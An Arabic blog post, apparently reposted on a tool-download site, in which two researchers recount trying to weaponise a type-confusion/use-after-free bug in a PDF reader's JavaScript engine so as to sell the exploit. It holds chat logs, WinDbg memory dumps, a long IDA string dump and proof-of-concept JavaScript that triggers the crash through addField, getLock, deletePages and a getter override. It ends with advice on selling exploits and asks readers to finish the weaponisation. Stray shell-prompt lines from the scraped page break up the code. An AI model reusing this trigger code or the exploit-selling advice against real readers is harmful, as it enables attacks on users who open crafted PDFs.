reuben: حسنًا أنا أحاول تشغيل هذا الـ poc، وهذه حشرة مختلفة تمامًا لول vlad: هل أقدر أسوي مكالمة صوتية لأسأل عن نتائجك؟ ماذا مختلفة تمامًا كيف؟؟ 0day ؟؟؟ أنت تعلم أننا نحاول الوصول إلى app.fs.transitions وهذا يجعلني أتساءل نوعًا ما هل هذا 0day أم خلط بين الحشرات أم CVE مختلف، ومرة أخرى نستدعي delete_pages و app.fs.transition reuben: قبل ذلك كانت تتحطم في مكان عشوائي. لا أعرف ماذا حدث لكن هنا تتحطم في نفس المكان (تكررت عدة مرات الآن) لكن اسمع هذا إنها تتحطم قبل استدعاءك لـ app.fs.transitions vlad: ما هي الحياة أصلاً يا أخي؟؟ reuben: لا أعرف كيف أتحكم في البيانات الموجودة هناك بعد، لكنني متأكد تمامًا أن شيئًا ما يمكن أن يستبدلها vlad: حسنًا دعني أسألك هذا الـ pocs الموجودة عندك الآن تظهر نوعًا من التحكم الصحيح من ناحية ecx ومن ما تخبرني به app.fs.transitions عديمة الفائدة، صحيح؟ رائع إذن نحن على الطريق الصحيح، أليس كذلك؟ reuben: نعم يمكننا الاستغناء عن app.fs.transitions وكنت أقول ذلك منذ وقت طويل، لكنني فقط لم أعرف كيف أُطلقها (وما زلت لا أعرف بصراحة) vlad: حسنًا هل يمكن أن يكون الأمر كما قلت أن الحشرة الفعلية هي uaf أكثر من type conf ؟؟؟ ومجرد type conf بسبب app.fs.transitions ؟

وهنا يأتي درس تعلّمناه أثناء عملية التفكير، وقد يكون حاسمًا للباحثين الشباب أيضًا: إذا بدت الحشرة مثلًا كـ type confusion حسب التقرير، لكنها من تحليلك تبدو وكأنها تتصرف كفئة مختلفة، فقد يكون ذلك مؤشرًا إلى أنه في هذه الحالة، أو للتعميم، إذا أردت استخدام type conf لتسريب معلومات لكن الحشرة تتصرف كـ uaf على ويندوز، فعلى الأرجح لن تتمكن من تسريب المعلومات.

reuben: لا أستطيع التأكيد بعد لكن اسمع هذا لقد أزلت الخطوة 11 من آخر poc لديك وما زالت تُطلق

الخطوة 11 هي حيث تستدعي app.fs.transitions ما زلنا لا نعرف إذا كان يمكننا استخدامها لتسريب أي شيء على أي حال لول

vlad: متفق لكن على الأقل حصلنا على بعض التحكم الآن وهو مجددًا ليس شيئًا حقيقيًا لأنه قد يكون مجرد صدفة ولا نستطيع التحكم فيه لول ونعود إلى المربع الأول ما هي الحياة أصلاً؟؟؟

reuben: حسنًا لقد غيّرت النص الذي يظهر في الانهيار الآن 😄

vlad: ماذااا حقًا؟ حصلت على تحكم؟

انظر شعاع الضوء يضيء

reuben: ليس بالكامل لأن النص UTF-16LE، لكن قد أتمكن من فعل شيء، لنرَ

reuben: image-2

reuben: هذه نتيجة أخرى، مما يعني أنه يمكنني على الأرجح تجاوز قيد utf-16le

0:000> db ecx - 4 0f55f9ec 78 31 32 78 33 34 78 35-36 78 37 38 78 39 41 78 x12x34x56x78x9Ax 0f55f9fc 42 43 78 44 45 78 46 30-78 31 32 48 00 00 00 00 BCxDExF0x12H.... 0f55fa0c 00 00 00 00 06 00 01 0f-40 da 3a 0e 00 00 00 00 ........@.:..... 0f55fa1c 00 00 00 00 00 00 00 00-e0 49 55 0f 10 00 00 00 .........IU..... 0f55fa2c 02 00 00 00 6c bb 54 0f-48 bb 54 0f 0a 00 00 00 ....l.T.H.T..... 0f55fa3c 00 00 00 00 01 00 00 00-10 00 00 00 10 00 00 00 ................ 0f55fa4c 54 00 69 00 6d 00 65 00-73 00 20 00 42 00 6f 00 T.i.m.e.s. .B.o. 0f55fa5c 6c 00 64 00 49 00 74 00-61 00 6c 00 69 00 63 00 l.d.I.t.a.l.i.c.

......... تم حذف المحادثة من أجل الاختصار والصحة النفسية

حتى وصلنا في مرحلة ما إلى "الـ poc النهائي" حيث علقنا، والذي يبدو هكذا

function type_conf(){ app.alert("Starting enhanced memory leak exploit");

root@kitploit:~
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
  "signature_field",
  "signature",
  0,
  [10, 10, 100, 50]
);

gFields.combo = app.activeDocs[0].addField(
  "HAHAHAHAHAH",
  "combobox",
  0,
  [10, 60, 100, 100]
);

// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");

app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");

gLockObj.__defineGetter__('fields', function () {}); 

}

لكن على أي حال، لماذا أردت تضمين جزء من عملية عملنا (أعتقد) هو إظهار - كما سبق أن أظهرنا - أن تطوير الإكسبلويت ليس علمًا دقيقًا تمامًا. من الدروس المهمة جدًا للباحثين الجدد والباحثين الشباب الصاعدين أن تدرك أنك ستحتاج إلى تسلّح بالصبر والدافع (المعروف أيضًا بالتحفيز) حتى ترى في كثير من الأحيان شعاع ضوء صغير، والذي في أغلب الأوقات لن يكون نهاية النفق بل مجرد زوال. لكن لا تخف، فهذا جزء من العملية. إذن الدرس الذي يجب تعلّمه هو أنك ستضيّع الكثير، وأعني الكثير من الوقت عند تطوير الإكسبلويت. مجددًا لا تخف، فهذا جزء من عملية الاستغلال. والآن ونحن نقترب من نهاية هذه المقالة والقصة، دعني أعطيك بعض الدروس الإضافية التي اكتسبناها خلال رحلتنا.لذلك عندما ترى أن الكائن الخاص بك غير قابل للكتابة وقابل للقراءة فقط، وعندما ترى أنك جربت كل ما توفره توثيقات الواجهة البرمجية المتاحة، وما زلت بذلت جهدًا إضافيًا لتفريغ ما يبدو أنه واجهة JavaScript المتاحة مثل: .rdata:050B1EC8 00000007 C AddcDocID .rdata:050E8E70 00000016 C AddStr .rdata:050E8E88 00000012 C Sign_Fill_Set_PreText .rdata:050E8E9C 00000017 C Sign_Fill_AddText .rdata:050E8EE0 0000000F C Sign_Fill_AddX .rdata:050E8EF0 00000011 C Sign_Fill_AddDot .rdata:050E8F04 00000011 C Sign_Fill_Group2 .rdata:050E8F18 00000012 C Sign_Fill_AddLine .rdata:050EB4FC 0000001B C ACTIONANNOT::AddTypeWriter https://helpx.adobe.com/acrobat/kb/adding-watermark-pdf.html .rdata:05114CEC 0000000B C Sound Tool .rdata:05114ED8 0000003D C This function is deprecated. It proceed in signature plugin. .rdata:05114FA8 0000001A C File_Propertions_Security .rdata:05114FC4 0000001D C File_Propertions_Description .rdata:05115000 0000001D C File_Propertions_InitialView .rdata:0511502C 00000016 C File_Propertions_Font .rdata:05115058 0000001A C File_Propertions_Advanced .rdata:051150E0 00000057 C This function is deprecated. Suggest use FROptimizerFlatDocument from Optimize plugin. .rdata:05115138 00000059 C This function is deprecated. Suggest use FRDocProcessSetReviewJS from docprocess plugin. .rdata:05115198 0000005C C This function is deprecated. Suggest use FRDocProcessRemoveReviewJS from docprocess plugin. .rdata:05115348 00000056 C This function is deprecated. Suggest use FROptimizerRunPageFlat from Optimize plugin. .rdata:051153A0 00000062 C This function is deprecated. Suggest use FRDocProcessFlattenDynamicXFADoc from docprocess plugin. .rdata:05115408 00000053 C This function is deprecated. It proceed in OCR plugin of FROCRRunPageOCRPROTO api. .rdata:05115460 0000005D C This function is deprecated. It proceed in OCR plugin of GetOCREngineLocalLanguagePROTO api. .rdata:051154C0 0000005D C This function is deprecated. It proceed in OCR plugin of GetIsExistOCREngineDllTipPROTO api. .rdata:05115520 0000005F C This function is deprecated. It proceed in OCR plugin of GetOCREngineSupportLanguagePROTO api. .rdata:05115610 0000005D C This function is deprecated. Suggest use FRDocProcessGetCreationDate from docprocess plugin. .rdata:05115670 00000066 C This function is deprecated. Suggest use FRDocProcessGetContainedCountInPages from docprocess plugin. .rdata:051156D8 00000060 C This function is deprecated. Suggest use FRDocProcessGetPrefixMatchList from docprocess plugin. .rdata:05115738 00000074 C This function is deprecated. Suggest use FROptimizerReduceFileSize and FROptimizerSetCallBack from Optimize plugin. .rdata:051157B0 0000005C C This function is deprecated. Suggest use FROptimizerShowReduceSizeDlg from Optimize plugin. .rdata:05115BC4 00000019 C CFS_GLOG_V16::LogMessage .rdata:05115BE0 00000070 C c:\phantompdfci\jenkins\workspace\taa-ph-auto-compile\starship\sinkpluginsdk_web\win\src\basic\fs_basicimpl.cpp .rdata:05116020 0000006C C This function is deprecated. Suggest use FRSIGInternalInterfaceGenerateUR3Permission from signature plugin. .rdata:05116090 0000005A C This function is deprecated. Suggest use FRPageFormatAddWatermark from pageformat plugin. .rdata:05116124 00000019 C PageFormat Extension HFT .rdata:05116140 00000063 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateWatermark from pageformat plugin. .rdata:051161A8 0000005D C This function is deprecated. Suggest use FRPageFormatRemoveWatermark from pageformat plugin. .rdata:05116208 00000066 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateWatermark from pageformat plugin. .rdata:05116270 0000005D C This function is deprecated. Suggest use FRPageFormatAddHeaderFooter from pageformat plugin. .rdata:051162D0 00000066 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateHeaderFooter from pageformat plugin. .rdata:05116338 00000060 C This function is deprecated. Suggest use FRPageFormatRemoveHeaderFooter from pageformat plugin. .rdata:05116398 00000069 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateHeaderFooter from pageformat plugin. .rdata:05116408 0000005F C This function is deprecated. Suggest use FRDocProcessIsUsedLogicalPage from docprocess plugin. .rdata:05116468 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo from signature plugin. .rdata:051164D0 00000064 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo3 from signature plugin. .rdata:05116538 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDefaultServer from signature plugin. .rdata:051165A0 0000006B C This function is deprecated. Suggest use FRSIGInternalInterfaceAddSignature3Handler from signature plugin. .rdata:05116610 00000045 C This function is deprecated. It's not be need from signature plugin. .rdata:05116658 00000065 C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetSignatureVerify from signature plugin. .rdata:051166C0 00000066 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDocSigatureCount from signature plugin. .rdata:05116728 00000067 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetSignatureBaseInfo from signature plugin. .rdata:05116790 00000061 C This function is deprecated. Suggest use FRSIGSGBaseHandlerClearSignature from signature plugin. .rdata:051167F8 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerCreateSignatureF from signature plugin. .rdata:05116860 0000005E C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetPosition from signature plugin. .rdata:051168C0 0000004F C This function is deprecated. Suggest use FRSIGRDNCreate from signature plugin. .rdata:05116910 00000050 C This function is deprecated. Suggest use FRSIGRDNDestroy from signature plugin. .rdata:05116960 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwC from signature plugin. .rdata:051169B0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwCN from signature plugin. .rdata:05116A00 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwCN from signature plugin. .rdata:05116A50 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwE from signature plugin. .rdata:05116AA0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwE from signature plugin. .rdata:05116AF0 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwL from signature plugin. .rdata:05116B40 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwL from signature plugin. .rdata:05116B90 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwO from signature plugin. .rdata:05116BE0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwO from signature plugin. .rdata:05116C30 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwOU from signature plugin. .rdata:05116C80 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwOU from signature plugin. .rdata:05116CD0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwST from signature plugin. .rdata:05116D20 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwST from signature plugin. .rdata:05116D70 00000067 C This function is deprecated. Suggest use FRSIGCERTIFICATEINFO related interface from signature plugin. .rdata:05116DD8 00000065 C This function is deprecated. Suggest use FRSIGSEEDVALUEINFO related interface from signature plugin. .rdata:05116E4C 0000003E C This function is deprecated. It proceed in signature plugin. .rdata:0511F140 00000007 C AddImm .rdata:0511F480 0000000A C RowSetAdd .rdata:052A94B8 0000000D C pixAddBorder .rdata:052A94C8 00000019 C pixAddBlackOrWhiteBorder .rdata:052A94E4 00000014 C pixAddBorderGeneral .rdata:052A9510 00000020 C pixAddMultipleBlackWhiteBorders

.rdata:052A95DC 00000015 C pixAddMirroredBorder .rdata:052A9608 00000015 C pixAddRepeatedBorder .rdata:052A9620 00000012 C pixAddMixedBorder .rdata:052A9634 00000016 C pixAddContinuedBorder .rdata:052A964C 00000019 C pixShiftAndTransferAlpha .rdata:052B3028 00000013 C pixAddAlphaToBlend !!!!!!!! .rdata:052B32EC 0000000B C boxaAddBox !!!!!!!!!!!!!!! .rdata:052B35B8 0000000D C boxaaAddBoxa .rdata:052B35E8 00000011 C boxaaExtendArray .rdata:052B35FC 00000017 C boxaaExtendArrayToSize .rdata:052B3614 00000016 C baa has too many ptrs .rdata:052B362C 0000001F C size > 1M boxa ptrs; too large .rdata:052B364C 0000000E C boxaaGetCount .rdata:052B365C 00000011 C boxaaGetBoxCount .rdata:052B3670 0000000D C boxaaGetBoxa .rdata:052B3680 0000000C C boxaaGetBox .rdata:052B368C 00000013 C boxa not retrieved .rdata:052B36F8 00000010 C boxaaInsertBoxa .rdata:052B5E88 00000012 C pixGetInputFormat .rdata:052B5E9C 00000012 C pixSetInputFormat .rdata:052B5EB0 00000013 C pixCopyInputFormat .rdata:052B5EC4 0000000E C pixSetSpecial .rdata:052B5ED4 0000000B C pixGetText .rdata:052B5EE0 0000000B C pixSetText .rdata:052B5EEC 0000000B C pixAddText .rdata:052B667C 0000000C C pixaaAddBox .rdata:052B9268 00000014 C jbAddPageComponents .rdata:052B9D90 0000000D C numaaAddNuma .rdata:052C9BC8 00000010 C sarrayAddString .rdata:052CACB4 00000009 C ptaAddPt .rdata:052CAFB8 0000000B C ptaaAddPta .rdata:0530A890 00000010 C selaAddDwaCombs .rdata:053CADD8 0000000C C squareimage .rdata:053E05C8 00000019 C GdipPrivateAddMemoryFont .rdata:053E078C 00000017 C GdipPrivateAddFontFile .rdata:053E0808 00000015 C AddFontMemResourceEx .rdata:0548401C 00000009 C TPadding .rdata:056D0DA8 0000000D C addListeners .rdata:056D0ED8 0000000C C addMenuItem .rdata:056D0EE4 0000000B C addSubMenu .rdata:056D0F48 00000009 C addIndex .rdata:056D0F60 0000000B C addContact .rdata:056D0F6C 0000000B C addRequest .rdata:056D11B0 00000010 C addEmbeddedFile .rdata:056D12DC 00000008 C addWord .rdata:056D1528 00000009 C addAnnot .rdata:056D1534 00000009 C addField .rdata:056D1540 00000008 C addLink .rdata:056D1548 00000008 C addIcon .rdata:056D1E94 0000000D C Doc.addAnnot .rdata:056D1EA4 0000000D C Doc.addField .rdata:056D1EB4 0000000C C Doc.addLink .rdata:056D1EC0 0000000C C Doc.addIcon .rdata:056D24A8 0000000F C Doc.addAdLayer .rdata:056D5F58 0000000E C addToolButton .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D6668 0000000F C app.addSubMenu .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D7E44 0000000F C FDF.addContact .rdata:05709CF0 0000000F C OBJ_add_object .rdata:05709D00 0000000E C OBJ_add_sigid .rdata:05902BBC 00000012 C addCustomMenuItem .rdata:05902BD0 00000014 C addCustomToolButton .rdata:05902BE4 00000010 C addEventHandler .rdata:059E64A0 0000001E C FillPageComboBox-AddTail -End .rdata:059E64C0 00000010 C View_Panel_Goto .rdata:059E64D0 00000020 C FillPageComboBox-AddTail -Start .rdata:05FE0420 00000077 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomMenuItem@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0497 00000079 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomToolButton@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0510 00000075 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddEventHandler@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:050896AC 00000011 C CAddDictionaries .rdata:05097DD0 00000034 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - Start .rdata:05097E04 00000032 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - End .rdata:05098308 0000001E C CJS_PluginMgr::AddToolButtons

، عندما يُفترض أن تبدأ فعليًا جزءًا من عملية الهندسة العكسية وتحاول فهم ما يفعله الثنائي فعليًا، ويكون الكود الزائف في IDB لديك بهذا الشكل: حذفنا مجموعة من الكود لتناسب المساحة وعدم إطالة الموضوع WhatsApp Image 2025-04-18 at 17 20 10

وقد يقول البعض إن هذا تهيئة كائن بسبب ذلك. خطأ، لا تثق في IDA لأن الإزاحات كانت خاطئة، وحتى لو كنت مخطئًا، صدقني ستظل مضطرًا إلى cross-reference لاسم الدالة، وفي 200 مرجع متقاطع لتحليل 200 دالة أخرى لفهمها، وفوق ذلك حل كل استدعاء دالة عبر مؤشر ديناميكيًا في WinDbg وعكس هندسته.

أضف إلى ذلك حقيقة أنك إذا حاولت شيئًا مثل هذا: 09f69e70 74 72 75 63 74 6f 72 28-27 72 65 74 75 72 6e 20 tructor('return 09f69e80 74 68 69 73 27 29 28 29-00 00 00 00 00 00 00 00 this')()........ 09f69e90 06 00 01 09 30 1e 6d 0f-00 00 00 00 00 00 00 00 ....0.m......... 09f69ea0 00 00 00 00 e0 bd 6d 0f-10 00 00 00 02 00 00 00 ......m......... 09f69eb0 84 15 f6 09 60 15 f6 09-0a 00 00 00 00 00 00 00 ....`........... 09f69ec0 01 00 00 00 10 00 00 00-10 00 00 00 54 00 69 00 ............T.i. 09f69ed0 6d 00 65 00 73 00 20 00-42 00 6f 00 6c 00 64 00 m.e.s. .B.o.l.d. 09f69ee0 49 00 74 00 61 00 6c 00-69 00 63 00 00 00 00 00 I.t.a.l.i.c.....

function type_conf(){ app.alert("Starting enhanced memory leak exploit");

root@kitploit:~
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
  "signature_field",
  "signature",
  0,
  [10, 10, 100, 50]
);

let syntaxString = "a.constructor.constructor('return this')()";


gFields.combo = app.activeDocs[0].addField(
  syntaxString,
  "combobox",
  0,
  [10, 60, 100, 100]
);

// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");

app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");

gLockObj.__defineGetter__('fields', function () {}); 

}

وهي تعمل، لكن لا يمكنك أن تملك شيئًا مثل let x = "\x41\x41\x41\x41" وتستخدم x كاسم لهذا الكائن في addfield ، ثم تنتظر 3:30 ساعة لتحميل IDB في BinDiff ولا يُحمَل IDB ويستنفد 16GB من الذاكرة. هذه علامات كافية على أنك على الأرجح لن تتمكن من استغلال ذلك الثنائي.

إذن الدرس المستفاد: إذا رأيت معظم ما سبق وصفه في الفقرة السابقة، فمن أجل صحتك النفسية من الأفضل أن تنتقل إلى الاستغلال التالي بدلاً من إضاعة 3 أسابيع إضافية لمجرد محاولة معرفة ما إذا كان هذا قابلاً للاستغلال أم لا.

والآن وقد وصلنا إلى نهاية القصة، سأتركك مع بعض الدروس النهائية المستفادة من هذه المحاولة لصنع وبيع استغلال:

  1. لا تخف من محاولة بيع الاستغلال
  2. قبل أن تشرع في محاولة بيع استغلال، قم فعليًا بتنفيذ الاستغلال ثم تواصل مع الشخص الذي تحاول بيع الاستغلال إليه
  3. قبل أن تقرر الاستقرار على CVE لتحويله إلى سلاح، خذ حوالي شهر تبدأ فيه ببحث تمهيدي قبل الاندفاع بكل قوتك
  4. ضع في اعتبارك أنه في حين قد يشير التقرير إلى أن هذا يمكن تحويله إلى استغلال مسلّح، إلا أن هناك الكثير من العقبات التي لا تتعلق بالضرورة بعملية الاستغلال مثل: نقص المعلومات الكافية لتتمكن من عكس الهندسة، والتعقيد المفرط حيث تحتاج لفهم أكثر من 200 دالة لفهم دالة واحدة، والكثير من فك التشفير أثناء التشغيل الذي يجب القيام به يدويًا، ودوال واجهة برمجية غير موثقة، وقدرات قراءة/كتابة محدودة، وعدم وجود كود مفتوح المصدر، وفي هذه الحالة 200 ألف دالة يجب مقارنتها لإصدار واحد، أي حوالي 400 ألف دالة للمقارنة الثنائية كليًا (التعقيد يتصاعد بسرعة كبيرة على ما يبدو في الاستغلال الواقعي)
  5. "اعرف متى تضع المسمار الأخير في النعش"، هذا سيأتي مع الخبرة كلما زادت المشاريع التي تحاولها. لكن لا تطيل الأمر حقًا عندما لا تكون هناك حاجة.
  6. ستضيع بالتأكيد الكثير من الوقت، لذا لا تكن قاسيًا على نفسك.
  7. عندما لا تستطيع وضع كائنات لاستبدال كائنات ويكون المتاح مجرد سلسلة نصية، وتُرمَّز هذه السلسلة بصيغة Unicode، ومع ذلك إذا تجاوزت هذا، ومع ذلك لا يمكنك وضع أي بيانات سداسية عشرية لتمكنك، لا أعلم، من قراءتها مثلًا في هذه الحالة إذا قمت برش عنوان بـ SharedArrayBuffer لأننا لم نملك معلومات كافية للكائن المزيف، فما عليك سوى الانتقال إلى الاستغلال التالي. أخيرًا قبل إغلاق هذه التدوينة، سنترك الكود الخاص بنا كمصدر إلهام. في حال تمكن شخص ما من تسليح الالتباس النوعي (type confusion)، فيرجى إخبارنا كيف فعلت ذلك :)
تنزيل الأداة